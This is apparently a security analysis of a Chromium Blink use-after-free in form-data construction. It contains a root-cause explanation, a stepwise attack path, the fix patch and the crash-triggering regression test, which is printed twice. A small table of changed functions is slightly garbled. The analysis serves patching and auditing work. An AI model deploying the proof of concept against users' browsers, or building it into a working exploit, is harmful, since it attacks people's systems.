CVE-2026-118337
Overview
Background
- `ListedElements()` / `listed_elements_`
- The form’s cached list (
ListedElement::List, a GC-aware vector) of associated form controls; it is rebuilt lazily and can be cleared/recomputed when the DOM changes. - `AppendToFormData()`
- Per-control hook that adds the control’s value to the
FormData. For<textarea>it forces a synchronous style and layout update, which can run script/DOM mutation.
Root Cause Analysis
The advisory labels this “Improper access control in Forms” (LogicError), but the diff shows an iterator-invalidation use-after-free. ConstructEntryList iterated ListedElements() directly: for (ListedElement* control : ListedElements()). Inside the loop it calls AppendToFormData(); for a <textarea> this forces a synchronous style/layout update that can mutate the DOM and, in turn, clear/rebuild listed_elements_. Because the loop was walking the live list, clearing it frees the backing storage out from under the range-based for, so the next iteration reads freed memory — a UAF. The same pattern existed in BuildSearchString, which iterated form.ListedElements() while calling AppendToFormData(). The accompanying WPT is literally named construct-entry-list-disassociate-crash.html and reparents an <input type=image> and a <textarea> form so that building the form data set disassociates controls mid-iteration.
The fix snapshots the list before iterating: ListedElement::List elements(ListedElements()); for (ListedElement* control : elements) in ConstructEntryList, and the identical copy in BuildSearchString. A copied ListedElement::List keeps its own (GC-traced) references, so clearing listed_elements_ during the loop no longer invalidates the walk — matching HTMLFormElement::reset and the HTML spec’s requirement to operate on a copy. Separately, ImageInputType::EnsurePrimaryContent now early-returns when GetElement().GetDocument().InStyleRecalc() is true (mirroring SetUseFallbackContent), preventing a synchronous cached-image completion from rebuilding the UA shadow subtree (RemoveChildren() + CreateShadowSubtree()) during style recalc — the mechanism by which type=image layout attachment re-enters and mutates the DOM that clears listed_elements_.
AppendToFormData() (via <textarea> forced layout / <input type=image> shadow rebuild) synchronously mutated and cleared that very list, freeing the backing store mid-iteration.Attack Path
- Craft a reentrant form
A page builds a form containing a
<textarea>(forces sync layout) and an<input type=image>whose shadow subtree can rebuild on cached-image completion, arranged so layout mutates the DOM. - Disassociate during build
Using
contenteditable/document.implementation.createHTMLDocument()reparenting (as the WPT does), set up controls that get disassociated from the form when style/layout runs. - Invoke the build
Trigger
new FormData(form)/ form submission, enteringConstructEntryList(or a searchable-form extraction enteringBuildSearchString). - Mutate mid-loop
AppendToFormData()on the<textarea>/image control forces synchronous style+layout, which clearslisted_elements_and frees its backing store. - UAF read
The range-based
foradvances over the freed list, dereferencing a danglingListedElement*in the renderer. (Escalation beyond crash is inferred.)
Impact Assessment
new FormData(form) or submission) is script-triggerable. The proven primitive is a heap use-after-free read of a freed ListedElement::List during iteration; the regression test confirms a crash. Converting the stale-pointer read into a controlled read/write or code execution is (inferred) and not shown by the diff. Note the advisory’s “access control” framing is not substantiated — the code shows iterator invalidation / UAF.Changed Functions
| Function | Change | Notes |
|---|---|---|
forthird_party/blink/renderer/core/exported/web_searchable_form_data.cc |
modified | |
ifthird_party/blink/renderer/core/html/forms/html_form_element.cc |
modified | |
forthird_party/blink/renderer/core/html/forms/html_form_element.cc |
modified |
Files Changed
third_party/blink/renderer/core/html/forms/image_input_type.ccthird_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.htmlthird_party/blink/renderer/core/exported/web_searchable_form_data.ccthird_party/blink/renderer/core/html/forms/html_form_element.cc
Audit Directions
- Other `ListedElements()` consumersGrep Blink for loops over
ListedElements()/listed_elements_that call intoAppendToFormData, style, or layout; each should iterate a copy (asHTMLFormElement::resetdoes). - `AppendToFormData` side effectsAudit every control’s
AppendToFormData/value accessor for synchronous style/layout or script that can mutate the form’s control set. - Shadow-tree mutation during style recalcLook for other
EnsurePrimaryContent-style shadow rebuilds (image/media/UA-shadow code) that lack anInStyleRecalc()guard. - Live-collection iteration under forced layoutReview DOM/forms code that iterates cached node lists while triggering
UpdateStyleAndLayout.
Patch
From 32c2e2f4faf5f5c2caec109387500407924e52bc Mon Sep 17 00:00:00 2001 From: Mason Freed <[email protected]> Date: Thu, 22 Oct 2026 17:22:08 -0700 Subject: [PATCH] Copy ListedElements before iterating in ConstructEntryList HTMLFormElement::ConstructEntryList and BuildSearchString iterate over ListedElements() while calling AppendToFormData() on each control. For <textarea>, AppendToFormData() forces a synchronous style and layout update, which can mutate the DOM and clear listed_elements_ mid-loop. Copy ListedElements() before iterating, matching HTMLFormElement::reset and the HTML specification. Also guard ImageInputType::EnsurePrimaryContent() with InStyleRecalc(), matching ImageInputType::SetUseFallbackContent(), so synchronous cached image completion during layout tree attachment does not mutate the UA shadow tree during style recalc. Fixed: 569286605 Change-Id: Ide74cfb742e8df43258883b11caf219e15d02d76 Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8613243 Reviewed-by: David Baron <[email protected]> Auto-Submit: Mason Freed <[email protected]> Commit-Queue: Mason Freed <[email protected]> Cr-Commit-Position: refs/heads/main@{#1725339} --- diff --git a/third_party/blink/renderer/core/exported/web_searchable_form_data.cc b/third_party/blink/renderer/core/exported/web_searchable_form_data.cc index b8478b8..a345c565a 100644 --- a/third_party/blink/renderer/core/exported/web_searchable_form_data.cc +++ b/third_party/blink/renderer/core/exported/web_searchable_form_data.cc @@ -186,7 +186,8 @@ const TextEncoding& encoding, const HTMLInputElement* text_element) { bool is_element_found = false; - for (ListedElement* item : form.ListedElements()) { + ListedElement::List elements(form.ListedElements()); + for (ListedElement* item : elements) { auto* control = DynamicTo<HTMLFormControlElement>(item); if (!control) continue; diff --git a/third_party/blink/renderer/core/html/forms/html_form_element.cc b/third_party/blink/renderer/core/html/forms/html_form_element.cc index 848955de8..12979d7 100644 --- a/third_party/blink/renderer/core/html/forms/html_form_element.cc +++ b/third_party/blink/renderer/core/html/forms/html_form_element.cc @@ -1103,6 +1103,7 @@ target_frame->ScheduleFormSubmission(scheduler, form_submission); } +// https://html.spec.whatwg.org/multipage/#constructing-the-form-data-set FormData* HTMLFormElement::ConstructEntryList(Element* submitter, const TextEncoding& encoding) { if (is_constructing_entry_list_) { @@ -1115,7 +1116,10 @@ submitter->SetActivatedSubmit(true); } - for (ListedElement* control : ListedElements()) { + // Copy the element list because |AppendToFormData()| can update DOM + // structure. + ListedElement::List elements(ListedElements()); + for (ListedElement* control : elements) { DCHECK(control); HTMLElement& element = control->ToHTMLElement(); if (!element.IsDisabledFormControl()) diff --git a/third_party/blink/renderer/core/html/forms/image_input_type.cc b/third_party/blink/renderer/core/html/forms/image_input_type.cc index 89ba830..13c635a9e9 100644 --- a/third_party/blink/renderer/core/html/forms/image_input_type.cc +++ b/third_party/blink/renderer/core/html/forms/image_input_type.cc @@ -251,6 +251,9 @@ if (!HasCreatedShadowSubtree()) { return; } + if (GetElement().GetDocument().InStyleRecalc()) { + return; + } if (ShadowRoot* root = GetElement().UserAgentShadowRoot()) root->RemoveChildren(); CreateShadowSubtree(); diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html new file mode 100644 index 0000000..39a4167 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html @@ -0,0 +1,39 @@ +<!DOCTYPE html> +<meta charset="utf-8"> +<link rel="author" href="mailto:[email protected]"> +<link rel="help" href="https://crbug.com/569286605"> + +<style> +input::-webkit-textfield-decoration-container { + content-visibility: hidden; + pointer-events: none; + height: 20px; +} +</style> +<img id="img" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"> +<div contenteditable> + <input id="inp" type="search" alt="x" style="width: 100px; height: 20px"> +</div> +<script> +const img = document.getElementById('img'); +const inp = document.getElementById('inp'); +const rect = inp.getBoundingClientRect(); +const pos = document.caretPositionFromPoint(rect.right - 5, rect.top + 5); +inp.type = 'image'; +const sr = pos.offsetNode; +inp.src = ''; + +window.onload = () => { + const doc2 = document.implementation.createHTMLDocument(); + doc2.body.appendChild(inp); + inp.src = img.src; + inp.style.content = `url(${img.src})`; + document.body.appendChild(inp); + + const form = document.createElement('form'); + form.innerHTML = '<textarea name="a">x</textarea><input name="b" value="y">'; + sr.appendChild(form); + + new FormData(form); +}; +</script>
Regression Test / PoC
diff --git a/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html new file mode 100644 index 0000000..39a4167 --- /dev/null +++ b/third_party/blink/web_tests/external/wpt/html/semantics/forms/form-submission-0/construct-entry-list-disassociate-crash.html @@ -0,0 +1,39 @@ +<!DOCTYPE html> +<meta charset="utf-8"> +<link rel="author" href="mailto:[email protected]"> +<link rel="help" href="https://crbug.com/569286605"> + +<style> +input::-webkit-textfield-decoration-container { + content-visibility: hidden; + pointer-events: none; + height: 20px; +} +</style> +<img id="img" src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"> +<div contenteditable> + <input id="inp" type="search" alt="x" style="width: 100px; height: 20px"> +</div> +<script> +const img = document.getElementById('img'); +const inp = document.getElementById('inp'); +const rect = inp.getBoundingClientRect(); +const pos = document.caretPositionFromPoint(rect.right - 5, rect.top + 5); +inp.type = 'image'; +const sr = pos.offsetNode; +inp.src = ''; + +window.onload = () => { + const doc2 = document.implementation.createHTMLDocument(); + doc2.body.appendChild(inp); + inp.src = img.src; + inp.style.content = `url(${img.src})`; + document.body.appendChild(inp); + + const form = document.createElement('form'); + form.innerHTML = '<textarea name="a">x</textarea><input name="b" value="y">'; + sr.appendChild(form); + + new FormData(form); +}; +</script>